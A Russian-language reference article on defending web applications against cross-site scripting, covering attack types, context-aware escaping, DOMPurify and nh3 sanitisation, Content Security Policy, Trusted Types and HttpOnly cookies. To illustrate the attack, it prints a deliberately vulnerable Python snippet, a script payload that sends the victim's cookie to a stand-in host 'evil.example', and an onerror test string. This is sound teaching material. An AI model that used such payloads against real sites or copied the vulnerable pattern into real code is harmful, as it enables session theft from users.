XSS (как защищаться)
| Полное название | Cross-Site Scripting |
|---|---|
| Классификация | CWE-79; OWASP Top 10 — A03 Injection |
| Виды | хранимый, отражённый, DOM-based |
| Последствия | кража сессии, действия от имени пользователя, фишинг |
| Основная защита | контекстное экранирование вывода |
| Дополнительная защита | CSP, HttpOnly cookie, Trusted Types |
| Библиотеки | DOMPurify, nh3 / bleach (Python) |
XSS (Cross-Site Scripting, межсайтовый скриптинг) — уязвимость веб-приложения, при которой злоумышленник добивается выполнения своего JavaScript-кода в браузере других пользователей в контексте уязвимого сайта. Такой скрипт видит всё, что видит пользователь: может прочитать данные страницы, отправить запросы от его имени, подменить форму входа или украсть токен. XSS — одна из самых распространённых веб-уязвимостей; в OWASP Top 10 она входит в категорию инъекций.[4]
Как возникает
Причина — данные из недоверенного источника попадают в HTML-страницу без правильной обработки, и браузер интерпретирует их как код. Классический пример на сервере:
# уязвимо: строка вставляется в HTML как есть
return f"<p>Результаты поиска: {request.args['q']}</p>"
Запрос ?q=<script>fetch('https://evil.example/?c='+document.cookie)</script> превращает страницу в инструмент атаки — достаточно заманить жертву по ссылке.
Виды
| Вид | Где живёт полезная нагрузка | Пример |
|---|---|---|
| Отражённый (reflected) | в запросе, возвращается в ответе | параметр поиска в URL |
| Хранимый (stored) | в базе данных сайта | комментарий, имя профиля, сообщение в чате |
| DOM-based | обрабатывается JavaScript на клиенте | location.hash вставляется через innerHTML |
Хранимый XSS опаснее всего: срабатывает у каждого, кто откроет страницу, включая администраторов. DOM XSS не доходит до сервера, и серверные фильтры его не видят.[2]
Главная защита — экранирование по контексту
Данные должны вставляться в страницу так, чтобы браузер видел в них только текст. Способ экранирования зависит от контекста, куда попадают данные:[1]
| Контекст | Что делать |
|---|---|
| Текст внутри HTML-элемента | HTML-экранирование: < → <, & → & и т. д. |
| Значение атрибута | экранирование атрибута, значение всегда в кавычках |
URL в href, src |
проверять схему (только http:/https:), запрещать javascript: |
Внутри <script> или JS-строки |
не вставлять данные напрямую; передавать через data--атрибут или JSON с экранированием |
| CSS | не вставлять пользовательские данные |
Современные шаблонизаторы и фреймворки экранируют по умолчанию: Jinja2 с autoescape, шаблоны Django, Go html/template, React, Vue, Angular. Уязвимость появляется, когда разработчик явно отключает защиту:
{{ value|safe }}илиMarkup()в Jinja и Django;dangerouslySetInnerHTMLв React,v-htmlво Vue;element.innerHTML = ...,document.write,eval,setTimeoutсо строкой в обычном JavaScript.
На клиенте для вставки текста используйте textContent вместо innerHTML (см. DOM):
el.textContent = userInput; // безопасно: всегда текст
el.innerHTML = userInput; // опасно
Когда нужен пользовательский HTML
Если пользователи должны форматировать текст (комментарии, редактор статей), HTML нельзя просто экранировать — его нужно санитизировать: оставить разрешённые теги и атрибуты, удалить всё остальное. Регулярные выражения для этого не подходят — используйте проверенные библиотеки: DOMPurify в браузере и Node.js, nh3 (или устаревающий bleach) в Python.[5] Часто проще принимать Markdown и превращать его в HTML с последующей санитизацией.
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(userHtml);
Дополнительные слои
Content Security Policy. HTTP-заголовок, ограничивающий, какие скрипты браузер может выполнять. Строгая политика на основе nonce или хешей блокирует встроенные скрипты злоумышленника, даже если экранирование где-то пропущено:[3]
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
CSP — второй рубеж, а не замена экранированию; политика с 'unsafe-inline' почти не защищает.
Trusted Types. Механизм браузера, запрещающий передавать обычные строки в опасные API (innerHTML, eval) — только объекты, прошедшие через политику санитизации. Хорошо отлавливает DOM XSS в больших приложениях.[6]
HttpOnly cookie. Флаг не даёт JavaScript прочитать сессионную cookie (см. Cookie и сессии). XSS всё равно позволяет действовать от имени пользователя, но украсть сессию для использования вне браузера сложнее.
Проверка
- Ищите в коде отключения автоэкранирования и опасные API (
innerHTML,dangerouslySetInnerHTML,|safe,v-html). - Включите правила линтеров и статического анализа (ESLint-плагины безопасности, Semgrep, CodeQL).
- Тестируйте поля ввода строками вроде
"><img src=x onerror=alert(1)>и сканерами (OWASP ZAP, Burp Suite). - Помните, что выводом считается не только HTML-страница: письма, PDF, админ-панели и логи, отображаемые в браузере, тоже уязвимы.